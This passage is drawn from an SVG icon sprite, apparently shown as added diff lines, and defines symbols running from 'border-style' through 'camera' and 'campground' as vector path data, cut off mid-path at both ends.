16-16v-32a16 16 0 0 0-16-16zm0 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="border-style" viewBox="0 0 448 512"> + <path d="M240 416h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm192 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H32A32 32 0 0 0 0 64v400a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V96h368a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="bowling-ball" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM120 192c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-96c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm48 144c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="box" viewBox="0 0 512 512"> + <path d="M509.5 184.6L458.9 32.8C452.4 13.2 434.1 0 413.4 0H272v192h238.7c-.4-2.5-.4-5-1.2-7.4zM240 0H98.6c-20.7 0-39 13.2-45.5 32.8L2.5 184.6c-.8 2.4-.8 4.9-1.2 7.4H240V0zM0 224v240c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V224H0z"></path> + </symbol> + <symbol id="box-open" viewBox="0 0 640 512"> + <path d="M425.7 256c-16.9 0-32.8-9-41.4-23.4L320 126l-64.2 106.6c-8.7 14.5-24.6 23.5-41.5 23.5-4.5 0-9-.6-13.3-1.9L64 215v178c0 14.7 10 27.5 24.2 31l216.2 54.1c10.2 2.5 20.9 2.5 31 0L551.8 424c14.2-3.6 24.2-16.4 24.2-31V215l-137 39.1c-4.3 1.3-8.8 1.9-13.3 1.9zm212.6-112.2L586.8 41c-3.1-6.2-9.8-9.8-16.7-8.9L320 64l91.7 152.1c3.8 6.3 11.4 9.3 18.5 7.3l197.9-56.5c9.9-2.9 14.7-13.9 10.2-23.1zM53.2 41L1.7 143.8c-4.6 9.2.3 20.2 10.1 23l197.9 56.5c7.1 2 14.7-1 18.5-7.3L320 64 69.8 32.1c-6.9-.8-13.5 2.7-16.6 8.9z"></path> + </symbol> + <symbol id="box-tissue" viewBox="0 0 512 512"> + <path d="M383.88,287.82l64-192H338.47a70.2,70.2,0,0,1-66.59-48,70.21,70.21,0,0,0-66.6-48H63.88l64,288Zm-384,192a32,32,0,0,0,32,32h448a32,32,0,0,0,32-32v-64H-.12Zm480-256H438.94l-21.33,64h14.27a16,16,0,0,1,0,32h-352a16,16,0,1,1,0-32H95.09l-14.22-64h-49a32,32,0,0,0-32,32v128h512v-128A32,32,0,0,0,479.88,223.82Z"></path> + </symbol> + <symbol id="boxes" viewBox="0 0 576 512"> + <path d="M560 288h-80v96l-32-21.3-32 21.3v-96h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16zm-384-64h224c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16h-80v96l-32-21.3L256 96V0h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16zm64 64h-80v96l-32-21.3L96 384v-96H16c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16z"></path> + </symbol> + <symbol id="braille" viewBox="0 0 640 512"> + <path d="M128 256c0 35.346-28.654 64-64 64S0 291.346 0 256s28.654-64 64-64 64 28.654 64 64zM64 384c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352C28.654 32 0 60.654 0 96s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm224 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-320c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z"></path> + </symbol> + <symbol id="brain" viewBox="0 0 576 512"> + <path d="M208 0c-29.9 0-54.7 20.5-61.8 48.2-.8 0-1.4-.2-2.2-.2-35.3 0-64 28.7-64 64 0 4.8.6 9.5 1.7 14C52.5 138 32 166.6 32 200c0 12.6 3.2 24.3 8.3 34.9C16.3 248.7 0 274.3 0 304c0 33.3 20.4 61.9 49.4 73.9-.9 4.6-1.4 9.3-1.4 14.1 0 39.8 32.2 72 72 72 4.1 0 8.1-.5 12-1.2 9.6 28.5 36.2 49.2 68 49.2 39.8 0 72-32.2 72-72V64c0-35.3-28.7-64-64-64zm368 304c0-29.7-16.3-55.3-40.3-69.1 5.2-10.6 8.3-22.3 8.3-34.9 0-33.4-20.5-62-49.7-74 1-4.5 1.7-9.2 1.7-14 0-35.3-28.7-64-64-64-.8 0-1.5.2-2.2.2C422.7 20.5 397.9 0 368 0c-35.3 0-64 28.6-64 64v376c0 39.8 32.2 72 72 72 31.8 0 58.4-20.7 68-49.2 3.9.7 7.9 1.2 12 1.2 39.8 0 72-32.2 72-72 0-4.8-.5-9.5-1.4-14.1 29-12 49.4-40.6 49.4-73.9z"></path> + </symbol> + <symbol id="bread-slice" viewBox="0 0 576 512"> + <path d="M288 0C108 0 0 93.4 0 169.14 0 199.44 24.24 224 64 224v256c0 17.67 16.12 32 36 32h376c19.88 0 36-14.33 36-32V224c39.76 0 64-24.56 64-54.86C576 93.4 468 0 288 0z"></path> + </symbol> + <symbol id="briefcase" viewBox="0 0 512 512"> + <path d="M320 336c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h416c25.6 0 48-22.4 48-48V288H320v48zm144-208h-80V80c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h512v-80c0-25.6-22.4-48-48-48zm-144 0H192V96h128v32z"></path> + </symbol> + <symbol id="briefcase-medical" viewBox="0 0 512 512"> + <path d="M464 128h-80V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48zM192 96h128v32H192V96zm160 248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48z"></path> + </symbol> + <symbol id="broadcast-tower" viewBox="0 0 640 512"> + <path d="M150.94 192h33.73c11.01 0 18.61-10.83 14.86-21.18-4.93-13.58-7.55-27.98-7.55-42.82s2.62-29.24 7.55-42.82C203.29 74.83 195.68 64 184.67 64h-33.73c-7.01 0-13.46 4.49-15.41 11.23C130.64 92.21 128 109.88 128 128c0 18.12 2.64 35.79 7.54 52.76 1.94 6.74 8.39 11.24 15.4 11.24zM89.92 23.34C95.56 12.72 87.97 0 75.96 0H40.63c-6.27 0-12.14 3.59-14.74 9.31C9.4 45.54 0 85.65 0 128c0 24.75 3.12 68.33 26.69 118.86 2.62 5.63 8.42 9.14 14.61 9.14h34.84c12.02 0 19.61-12.74 13.95-23.37-49.78-93.32-16.71-178.15-.17-209.29zM614.06 9.29C611.46 3.58 605.6 0 599.33 0h-35.42c-11.98 0-19.66 12.66-14.02 23.25 18.27 34.29 48.42 119.42.28 209.23-5.72 10.68 1.8 23.52 13.91 23.52h35.23c6.27 0 12.13-3.58 14.73-9.29C630.57 210.48 640 170.36 640 128s-9.42-82.48-25.94-118.71zM489.06 64h-33.73c-11.01 0-18.61 10.83-14.86 21.18 4.93 13.58 7.55 27.98 7.55 42.82s-2.62 29.24-7.55 42.82c-3.76 10.35 3.85 21.18 14.86 21.18h33.73c7.02 0 13.46-4.49 15.41-11.24 4.9-16.97 7.53-34.64 7.53-52.76 0-18.12-2.64-35.79-7.54-52.76-1.94-6.75-8.39-11.24-15.4-11.24zm-116.3 100.12c7.05-10.29 11.2-22.71 11.2-36.12 0-35.35-28.63-64-63.96-64-35.32 0-63.96 28.65-63.96 64 0 13.41 4.15 25.83 11.2 36.12l-130.5 313.41c-3.4 8.15.46 17.52 8.61 20.92l29.51 12.31c8.15 3.4 17.52-.46 20.91-8.61L244.96 384h150.07l49.2 118.15c3.4 8.16 12.76 12.01 20.91 8.61l29.51-12.31c8.15-3.4 12-12.77 8.61-20.92l-130.5-313.41zM271.62 320L320 203.81 368.38 320h-96.76z"></path> + </symbol> + <symbol id="broom" viewBox="0 0 640 512"> + <path d="M256.47 216.77l86.73 109.18s-16.6 102.36-76.57 150.12C206.66 523.85 0 510.19 0 510.19s3.8-23.14 11-55.43l94.62-112.17c3.97-4.7-.87-11.62-6.65-9.5l-60.4 22.09c14.44-41.66 32.72-80.04 54.6-97.47 59.97-47.76 163.3-40.94 163.3-40.94zM636.53 31.03l-19.86-25c-5.49-6.9-15.52-8.05-22.41-2.56l-232.48 177.8-34.14-42.97c-5.09-6.41-15.14-5.21-18.59 2.21l-25.33 54.55 86.73 109.18 58.8-12.45c8-1.69 11.42-11.2 6.34-17.6l-34.09-42.92 232.48-177.8c6.89-5.48 8.04-15.53 2.55-22.44z"></path> + </symbol> + <symbol id="brush" viewBox="0 0 384 512"> + <path d="M352 0H32C14.33 0 0 14.33 0 32v224h384V32c0-17.67-14.33-32-32-32zM0 320c0 35.35 28.66 64 64 64h64v64c0 35.35 28.66 64 64 64s64-28.65 64-64v-64h64c35.34 0 64-28.65 64-64v-32H0v32zm192 104c13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24s-24-10.75-24-24c0-13.26 10.75-24 24-24z"></path> + </symbol> + <symbol id="bug" viewBox="0 0 512 512"> + <path d="M511.988 288.9c-.478 17.43-15.217 31.1-32.653 31.1H424v16c0 21.864-4.882 42.584-13.6 61.145l60.228 60.228c12.496 12.497 12.496 32.758 0 45.255-12.498 12.497-32.759 12.496-45.256 0l-54.736-54.736C345.886 467.965 314.351 480 280 480V236c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v244c-34.351 0-65.886-12.035-90.636-32.108l-54.736 54.736c-12.498 12.497-32.759 12.496-45.256 0-12.496-12.497-12.496-32.758 0-45.255l60.228-60.228C92.882 378.584 88 357.864 88 336v-16H32.666C15.23 320 .491 306.33.013 288.9-.484 270.816 14.028 256 32 256h56v-58.745l-46.628-46.628c-12.496-12.497-12.496-32.758 0-45.255 12.498-12.497 32.758-12.497 45.256 0L141.255 160h229.489l54.627-54.627c12.498-12.497 32.758-12.497 45.256 0 12.496 12.497 12.496 32.758 0 45.255L424 197.255V256h56c17.972 0 32.484 14.816 31.988 32.9zM257 0c-61.856 0-112 50.144-112 112h224C369 50.144 318.856 0 257 0z"></path> + </symbol> + <symbol id="building" viewBox="0 0 448 512"> + <path d="M436 480h-20V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v456H12c-6.627 0-12 5.373-12 12v20h448v-20c0-6.627-5.373-12-12-12zM128 76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76zm0 96c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40zm52 148h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12zm76 160h-64v-84c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v84zm64-172c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40z"></path> + </symbol> + <symbol id="bullhorn" viewBox="0 0 576 512"> + <path d="M576 240c0-23.63-12.95-44.04-32-55.12V32.01C544 23.26 537.02 0 512 0c-7.12 0-14.19 2.38-19.98 7.02l-85.03 68.03C364.28 109.19 310.66 128 256 128H64c-35.35 0-64 28.65-64 64v96c0 35.35 28.65 64 64 64h33.7c-1.39 10.48-2.18 21.14-2.18 32 0 39.77 9.26 77.35 25.56 110.94 5.19 10.69 16.52 17.06 28.4 17.06h74.28c26.05 0 41.69-29.84 25.9-50.56-16.4-21.52-26.15-48.36-26.15-77.44 0-11.11 1.62-21.79 4.41-32H256c54.66 0 108.28 18.81 150.98 52.95l85.03 68.03a32.023 32.023 0 0 0 19.98 7.02c24.92 0 32-22.78 32-32V295.13C563.05 284.04 576 263.63 576 240zm-96 141.42l-33.05-26.44C392.95 311.78 325.12 288 256 288v-96c69.12 0 136.95-23.78 190.95-66.98L480 98.58v282.84z"></path> + </symbol> + <symbol id="bullseye" viewBox="0 0 496 512"> + <path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 432c-101.69 0-184-82.29-184-184 0-101.69 82.29-184 184-184 101.69 0 184 82.29 184 184 0 101.69-82.29 184-184 184zm0-312c-70.69 0-128 57.31-128 128s57.31 128 128 128 128-57.31 128-128-57.31-128-128-128zm0 192c-35.29 0-64-28.71-64-64s28.71-64 64-64 64 28.71 64 64-28.71 64-64 64z"></path> + </symbol> + <symbol id="burn" viewBox="0 0 384 512"> + <path d="M192 0C79.7 101.3 0 220.9 0 300.5 0 425 79 512 192 512s192-87 192-211.5c0-79.9-80.2-199.6-192-300.5zm0 448c-56.5 0-96-39-96-94.8 0-13.5 4.6-61.5 96-161.2 91.4 99.7 96 147.7 96 161.2 0 55.8-39.5 94.8-96 94.8z"></path> + </symbol> + <symbol id="bus" viewBox="0 0 512 512"> + <path d="M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM112 400c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm16-112c-17.67 0-32-14.33-32-32V128c0-17.67 14.33-32 32-32h256c17.67 0 32 14.33 32 32v128c0 17.67-14.33 32-32 32H128zm272 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="bus-alt" viewBox="0 0 512 512"> + <path d="M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM160 72c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H168c-4.42 0-8-3.58-8-8V72zm-48 328c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128-112H128c-17.67 0-32-14.33-32-32v-96c0-17.67 14.33-32 32-32h112v160zm32 0V128h112c17.67 0 32 14.33 32 32v96c0 17.67-14.33 32-32 32H272zm128 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="business-time" viewBox="0 0 640 512"> + <path d="M496 224c-79.59 0-144 64.41-144 144s64.41 144 144 144 144-64.41 144-144-64.41-144-144-144zm64 150.29c0 5.34-4.37 9.71-9.71 9.71h-60.57c-5.34 0-9.71-4.37-9.71-9.71v-76.57c0-5.34 4.37-9.71 9.71-9.71h12.57c5.34 0 9.71 4.37 9.71 9.71V352h38.29c5.34 0 9.71 4.37 9.71 9.71v12.58zM496 192c5.4 0 10.72.33 16 .81V144c0-25.6-22.4-48-48-48h-80V48c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h395.12c28.6-20.09 63.35-32 100.88-32zM320 96H192V64h128v32zm6.82 224H208c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h291.43C327.1 423.96 320 396.82 320 368c0-16.66 2.48-32.72 6.82-48z"></path> + </symbol> + <symbol id="calculator" viewBox="0 0 448 512"> + <path d="M400 0H48C22.4 0 0 22.4 0 48v416c0 25.6 22.4 48 48 48h352c25.6 0 48-22.4 48-48V48c0-25.6-22.4-48-48-48zM128 435.2c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8V268.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v166.4zm0-256c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8V76.8C64 70.4 70.4 64 76.8 64h294.4c6.4 0 12.8 6.4 12.8 12.8v102.4z"></path> + </symbol> + <symbol id="calendar" viewBox="0 0 448 512"> + <path d="M12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm436-44v-36c0-26.5-21.5-48-48-48h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v36c0 6.6 5.4 12 12 12h424c6.6 0 12-5.4 12-12z"></path> + </symbol> + <symbol id="calendar-alt" viewBox="0 0 448 512"> + <path d="M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm320-196c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM192 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM64 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="calendar-check" viewBox="0 0 448 512"> + <path d="M436 160H12c-6.627 0-12-5.373-12-12v-36c0-26.51 21.49-48 48-48h48V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h128V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h48c26.51 0 48 21.49 48 48v36c0 6.627-5.373 12-12 12zM12 192h424c6.627 0 12 5.373 12 12v260c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V204c0-6.627 5.373-12 12-12zm333.296 95.947l-28.169-28.398c-4.667-4.705-12.265-4.736-16.97-.068L194.12 364.665l-45.98-46.352c-4.667-4.705-12.266-4.736-16.971-.068l-28.397 28.17c-4.705 4.667-4.736 12.265-.068 16.97l82.601 83.269c4.667 4.705 12.265 4.736 16.97.068l142.953-141.805c4.705-4.667 4.736-12.265.068-16.97z"></path> + </symbol> + <symbol id="calendar-day" viewBox="0 0 448 512"> + <path d="M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-96zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="calendar-minus" viewBox="0 0 448 512"> + <path d="M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm304 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H132c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h184z"></path> + </symbol> + <symbol id="calendar-plus" viewBox="0 0 448 512"> + <path d="M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm316 140c0-6.6-5.4-12-12-12h-60v-60c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v60h-60c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h60v60c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-60h60c6.6 0 12-5.4 12-12v-40z"></path> + </symbol> + <symbol id="calendar-times" viewBox="0 0 448 512"> + <path d="M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm257.3 160l48.1-48.1c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0L224 306.7l-48.1-48.1c-4.7-4.7-12.3-4.7-17 0l-28.3 28.3c-4.7 4.7-4.7 12.3 0 17l48.1 48.1-48.1 48.1c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l48.1-48.1 48.1 48.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L269.3 352z"></path> + </symbol> + <symbol id="calendar-week" viewBox="0 0 448 512"> + <path d="M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h288c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-64zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="camera" viewBox="0 0 512 512"> + <path d="M512 144v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48h88l12.3-32.9c7-18.7 24.9-31.1 44.9-31.1h125.5c20 0 37.9 12.4 44.9 31.1L376 96h88c26.5 0 48 21.5 48 48zM376 288c0-66.2-53.8-120-120-120s-120 53.8-120 120 53.8 120 120 120 120-53.8 120-120zm-32 0c0 48.5-39.5 88-88 88s-88-39.5-88-88 39.5-88 88-88 88 39.5 88 88z"></path> + </symbol> + <symbol id="camera-retro" viewBox="0 0 512 512"> + <path d="M48 32C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H48zm0 32h106c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H38c-3.3 0-6-2.7-6-6V80c0-8.8 7.2-16 16-16zm426 96H38c-3.3 0-6-2.7-6-6v-36c0-3.3 2.7-6 6-6h138l30.2-45.3c1.1-1.7 3-2.7 5-2.7H464c8.8 0 16 7.2 16 16v74c0 3.3-2.7 6-6 6zM256 424c-66.2 0-120-53.8-120-120s53.8-120 120-120 120 53.8 120 120-53.8 120-120 120zm0-208c-48.5 0-88 39.5-88 88s39.5 88 88 88 88-39.5 88-88-39.5-88-88-88zm-48 104c-8.8 0-16-7.2-16-16 0-35.3 28.7-64 64-64 8.8 0 16 7.2 16 16s-7.2 16-16 16c-17.6 0-32 14.4-32 32 0 8.8-7.2 16-16 16z"></path> + </symbol> + <symbol id="campground" viewBox="0 0 640 512"> + <path d="M624 448h-24.68L359.54 117.75l53.41-73.55c5.19-7.15 3.61-17.16-3.54-22.35l-25.9-18.79c-7.15-5.19-17.15-3.61-22.35 3.55L320 63.3 278.83 6.6c-5.19-7.15-15.2-8.74-22.35-3.55l-25.88 18.8c-7.15 5.19-8.74 15.2-3.54 22.35l53.41 73.55L40.68 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM320 288l116.36 160H203.64L320 288z"></path> + </symbol> + <symbol id="candy-cane" viewBox="0 0 512 512"> + <path d="M497.5 92C469.6 